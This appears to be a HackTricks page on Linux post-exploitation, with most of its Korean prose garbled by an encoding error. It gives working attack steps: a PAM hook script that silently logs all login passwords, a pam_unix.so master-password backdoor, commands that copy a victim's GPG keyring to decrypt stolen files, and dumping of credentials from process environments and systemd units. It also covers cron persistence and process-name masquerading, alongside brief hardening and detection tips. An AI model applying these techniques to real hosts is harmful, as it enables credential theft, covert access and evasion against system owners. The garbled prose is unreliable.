Linux Post-Exploitation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Sniffing Logon Passwords with PAM
๊ฐ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ ์ฌ์ฉํ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ธฐ๋กํ๋๋ก PAM ๋ชจ๋์ ๊ตฌ์ฑํด๋ณด์. PAM์ด ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด ๋ค์์ ํ์ธ:
PAM - Pluggable Authentication Modules
For further details check the original post. ์ด ๋ด์ฉ์ ๊ฐ๋จํ ์์ฝ์ด๋ค:
Technique Overview: Pluggable Authentication Modules (PAM)๋ Unix ๊ธฐ๋ฐ ์์คํ ์์ ์ธ์ฆ ๊ด๋ฆฌ๋ฅผ ์ ์ฐํ๊ฒ ํด์ค๋ค. ๋ก๊ทธ์ธ ๊ณผ์ ์ ์ฌ์ฉ์ํํ์ฌ ๋ณด์์ ๊ฐํํ ์ ์์ง๋ง, ์ค์ฉ๋๋ฉด ์ํ์ ์ด๋ํ ์ ์๋ค. ์ด ์์ฝ์ PAM์ ์ฌ์ฉํด ๋ก๊ทธ์ธ ์๊ฒฉ์ฆ๋ช ์ ํฌ์ฐฉํ๋ ๊ธฐ๋ฒ๊ณผ ์ํ ์ ๋ต์ ๊ฐ๋ต์ ์ผ๋ก ์ค๋ช ํ๋ค.
Capturing Credentials:
toomanysecrets.sh๋ผ๋ bash ์คํฌ๋ฆฝํธ๋ฅผ ๋ง๋ค์ด ๋ก๊ทธ์ธ ์๋(๋ ์ง, ์ฌ์ฉ์๋ช ($PAM_USER), ๋น๋ฐ๋ฒํธ(stdin์ผ๋ก ์ ๋ ฅ๋ ๊ฐ), ์๊ฒฉ ํธ์คํธ IP ($PAM_RHOST))๋ฅผ/var/log/toomanysecrets.log์ ๊ธฐ๋กํ๋ค.- ์คํฌ๋ฆฝํธ์ ์คํ ๊ถํ์ ๋ถ์ฌํ๊ณ
pam_exec.so๋ชจ๋์ ์ฌ์ฉํด ์กฐ์ฉํ ์คํํ๊ณ ์ธ์ฆ ํ ํฐ์ ์คํฌ๋ฆฝํธ์ ๋ ธ์ถํ๋๋ก ์ต์ ์ ์ค์ ํ ๋ค PAM ๊ตฌ์ฑ(common-auth)์ ํตํฉํ๋ค. - ์ด ์ ๊ทผ๋ฒ์ ์์๋ Linux ํธ์คํธ๊ฐ ์๊ฒฉ์ฆ๋ช ์ ์๋ฐํ๊ฒ ๊ธฐ๋กํ๋๋ก ์ ์ฉ๋ ์ ์์์ ๋ณด์ฌ์ค๋ค.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
์์ธํ ๋ด์ฉ์ original post. ๊ฐ๋จ ์์ฝ:
Pluggable Authentication Module (PAM)๋ Linux์์ ์ฌ์ฉ์ ์ธ์ฆ์ ์ฌ์ฉ๋๋ ์์คํ
์
๋๋ค. ์ด๋ ์ธ ๊ฐ์ง ์ฃผ์ ๊ฐ๋
์ผ๋ก ๋์ํฉ๋๋ค: username, password, ๊ทธ๋ฆฌ๊ณ service. ๊ฐ ์๋น์ค์ ์ค์ ํ์ผ์ /etc/pam.d/ ๋๋ ํฐ๋ฆฌ์ ์์ผ๋ฉฐ, ์ฌ๊ธฐ์ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ธ์ฆ์ ์ฒ๋ฆฌํฉ๋๋ค.
Objective: PAM์ ์์ ํด ์ค์ ์ฌ์ฉ์ password๋ฅผ ์ฐํํ๊ณ ํน์ password๋ก ์ธ์ฆ์ ํ์ฉํ๋๋ก ํฉ๋๋ค. ์ด๋ ํนํ password ๊ฒ์ฆ์ ์ํด ๊ฑฐ์ ๋ชจ๋ ์๋น์ค์์ ํฌํจ๋๋ common-auth ํ์ผ์ด ์ฌ์ฉํ๋ pam_unix.so ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์ด์ ์ ๋ง์ถฅ๋๋ค.
pam_unix.so ์์ ๋จ๊ณ:
- Locate the Authentication Directive in the
common-authfile:
- ์ฌ์ฉ์์ password๋ฅผ ๊ฒ์ฌํ๋ ์ค์ด
pam_unix.so๋ฅผ ํธ์ถํฉ๋๋ค.
- Modify Source Code:
pam_unix_auth.c์์ค ํ์ผ์ ๋ฏธ๋ฆฌ ์ ํด๋ password๊ฐ ์ฌ์ฉ๋๋ฉด ์ ๊ทผ์ ํ์ฉํ๊ณ , ๊ทธ๋ ์ง ์์ผ๋ฉด ์ผ๋ฐ ์ธ์ฆ ๊ณผ์ ์ ์งํํ๋ ์กฐ๊ฑด๋ฌธ์ ์ถ๊ฐํฉ๋๋ค.
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- ๋ฏธ๋ฆฌ ์ ํด๋ password๋ก login, ssh, sudo, su, screensaver ๋ฑ ๋ค์ํ ์๋น์ค์์ ์ ๊ทผ์ด ํ์ฉ๋๋ฉฐ, ์ ์ ์ธ์ฆ ๊ณผ์ ์ ์ํฅ์ ๋ฐ์ง ์์ต๋๋ค.
Tip
์ด ๊ณผ์ ์ ์๋ํํ๋ ค๋ฉด https://github.com/zephrax/linux-pam-backdoor ๋ฅผ ์ฌ์ฉํ์ธ์
Decrypting GPG loot via homedir relocation
์ํธํ๋ .gpg ํ์ผ๊ณผ ์ฌ์ฉ์์ ~/.gnupg ํด๋(pubring, private-keys, trustdb)๋ฅผ ์ฐพ์์ง๋ง GnuPG homedir ๊ถํ/์ ๊ธ ๋๋ฌธ์ ๋ณตํธํํ ์ ์๋ค๋ฉด, keyring์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น๋ก ๋ณต์ฌํ๊ณ ์ด๋ฅผ GPG home์ผ๋ก ์ฌ์ฉํ์ธ์.
์ด ์ ์ฐจ ์์ด ๋ณด๊ฒ ๋๋ ์ผ๋ฐ์ ์ธ ์ค๋ฅ๋ค: โunsafe ownership on homedirโ, โfailed to create temporary fileโ, ๋๋ โdecryption failed: No secret keyโ (GPG๊ฐ ์๋ณธ homedir๋ฅผ ์ฝ๊ฑฐ๋ ์ธ ์ ์๊ธฐ ๋๋ฌธ).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
ํ๋ก์ธ์ค ํ๊ฒฝ์์ ์๊ฒฉ์ฆ๋ช ์์ง (containers ํฌํจ)
์๋น์ค ๋ด๋ถ์์ ์ฝ๋ ์คํ ๊ถํ์ ์ป์ผ๋ฉด, ํ๋ก์ธ์ค๋ ์ข ์ข ๋ฏผ๊ฐํ ํ๊ฒฝ ๋ณ์๋ฅผ ์์ํฉ๋๋ค. ์ด๋ lateral movement์ ๋งค์ฐ ์ ์ฉํ ์์์ ๋๋ค.
Quick wins
- ํ์ฌ ํ๋ก์ธ์ค ํ๊ฒฝ ๋คํ:
env๋๋printenv - ๋ค๋ฅธ ํ๋ก์ธ์ค์ ํ๊ฒฝ ๋คํ:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p' tr/sed๊ฐ ์์ ๊ฒฝ์ฐstrings -z /proc/<PID>/environ์ถ๊ฐ- containers์์๋ PID 1๋ ํ์ธ:
tr '\0' '\n' </proc/1/environ
ํ์ธํ ํญ๋ชฉ
- ์ฑ ์ํฌ๋ฆฟ ๋ฐ ๊ด๋ฆฌ์ ์๊ฒฉ์ฆ๋ช
(์: Grafana๋
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD์ค์ ) - API keys, DB URIs, SMTP creds, OAuth secrets
- ํ๋ก์ ๋ฐ TLS ์ค๋ฒ๋ผ์ด๋:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
์ฐธ๊ณ
- ๋ง์ ์ค์ผ์คํธ๋ ์ด์ ์ ๋ฏผ๊ฐํ ์ค์ ์ env๋ฅผ ํตํด ์ ๋ฌํฉ๋๋ค; ์ด ์ค์ ๋ค์ ์์ ํ๋ก์ธ์ค์ ์์๋๋ฉฐ ํ๋ก์ธ์ค ์ปจํ ์คํธ ์์์ ์์ฑํ ์์์ shell์ ๋ ธ์ถ๋ฉ๋๋ค.
- ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์ด๋ฌํ creds๋ ์์คํ ์ ๋ฐ์์ ์ฌ์ฌ์ฉ๋ฉ๋๋ค(์: ํธ์คํธ์์ SSH์ ์ ํจํ ๋์ผํ username/password), ์ด๋ ์์ฌ์ด pivot์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
Systemd์ ์ ์ฅ๋ ์๊ฒฉ์ฆ๋ช (unit ํ์ผ์ Environment=)
systemd์ ์ํด ์์๋ ์๋น์ค๋ Environment= ํญ๋ชฉ์ผ๋ก unit ํ์ผ์ ์๊ฒฉ์ฆ๋ช
์ ํฌํจํ ์ ์์ต๋๋ค. ๋์ดํ๊ณ ์ถ์ถํ์ธ์:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
์ด์ ์ํฐํฉํธ๋ ์ข
์ข
๋น๋ฐ๋ฒํธ๋ฅผ leakํฉ๋๋ค(์: zip -P <pwd>๋ฅผ ํธ์ถํ๋ ๋ฐฑ์
์คํฌ๋ฆฝํธ). ํด๋น ๊ฐ๋ค์ ๋ด๋ถ ์น UI(Basic-Auth)๋ ๋ค๋ฅธ ์๋น์ค์์ ์ฌ์ฌ์ฉ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค.
Hardening
- ๋น๋ฐ์ ์ ์ฉ ์ํฌ๋ฆฟ ์ ์ฅ์๋ก ์ด๋ํ์ธ์ (
systemd-ask-password, ๊ถํ์ด ์ ๊ธดEnvironmentFile, ๋๋ ์ธ๋ถ secret managers ๋ฑ) - unit ํ์ผ์ creds๋ฅผ ๋ฐ์๋์ง ๋ง์ธ์; root ์ ์ฉ ์ฝ๊ธฐ ๊ฐ๋ฅํ drop-in ํ์ผ์ ์ ํธํ๊ณ ๋ฒ์ ๊ด๋ฆฌ์์ ์ ๊ฑฐํ์ธ์
- ํ ์คํธ ์ค ๋ฐ๊ฒฌ๋ leaked ๋น๋ฐ๋ฒํธ๋ ๊ต์ฒด(rotate)ํ์ธ์
Cron-based persistence with loopback mutex
- ์ํ๋ํธ๋ฅผ ์ฌ๋ฌ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ๋ก(
/tmp,/var/tmp,/dev/shm,/run/lock)์ ๋ณต์ฌํ๊ณ*/5 * * * * /tmp/<bin>๊ฐ์ cron ์ํธ๋ฆฌ๋ฅผ ์ค์นํด ๋ค๋ฅธ ๊ณณ์์ ์ ๊ฑฐ๋์ด๋ ์ฌ์์ฑ๋๊ฒ ํฉ๋๋ค. - ๊ณ ์ ๋ loopback ํฌํธ(์:
127.0.0.1:51125๋๋127.0.0.1:52225)๋ฅผ ๋ฐ์ธ๋ฉํ๊ณbind()๊ฐ ์คํจํ๋ฉด ์ข ๋ฃํ๋๋ก ํ์ฌ single-instance ์คํ์ ๋ณด์ฅํ์ธ์;ss -lntp | grep -E '51125|52225'๋ก mutex ๋ฆฌ์ค๋๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. - ์ด์์๊ฐ ์ฃผ๊ธฐ์ ์ผ๋ก
cmdline์ dropper ์ด๋ฆ(์:init_stop)์ด ํฌํจ๋ ํ๋ก์ธ์ค๋ฅผ ๋๋์ผ๋ก ์ข ๋ฃํ ์ ์์ผ๋ฏ๋ก, ๋ถ์ ์ค ํด๋น ์ด๋ฆ์ ์ฌ์ฌ์ฉํ๋ฉด ์ถฉ๋์ด ๋ฐ์ํ ์ ์์ต๋๋ค; ๊ณ ์ ํ ํ์ผ๋ช ์ ์ ํํ์ธ์.
Process masquerading via prctl + argv overwrite
prctl(PR_SET_NAME, "<label>")๋ก ์งง์ ํ๋ก์ธ์ค ์ด๋ฆ์ ์ค์ ํ์ธ์(15-bytecomm์ ํ). ํํinit์ผ๋ก ์ค์ ํด/proc/<pid>/status์ GUI์ ์ ์์ ์ธ ๋ผ๋ฒจ์ ํ์ํฉ๋๋ค./proc/self/cmdline๊ธธ์ด์argv[0]ํฌ์ธํฐ๋ฅผ ์ฝ์ ํ ๋ฉ๋ชจ๋ฆฌ์์argv[0]๋ฒํผ๋ฅผ ๋ฎ์ด์ฐ๊ณ NUL๋ก ํจ๋ฉํด/proc/<pid>/cmdline๊ณผps์์๋ ๊ฐ์ง ๋ผ๋ฒจ์ด ๋ณด์ด๊ฒ ํฉ๋๋ค./proc/<pid>/status์Name:์ ์ค์ ์คํ ํ์ผ ๊ฒฝ๋ก์ ๋น๊ตํ๊ณ , cmdline์ด ์งง๊ฑฐ๋ ๋น์ด ์๋ ํ๋ก์ธ์ค๊ฐ ์์ ํ loopback mutex ๋ฆฌ์ค๋๋ฅผ ์ฐพ์ ํํ ํ์ธ์.
References
- 0xdf โ HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf โ HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual โ Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


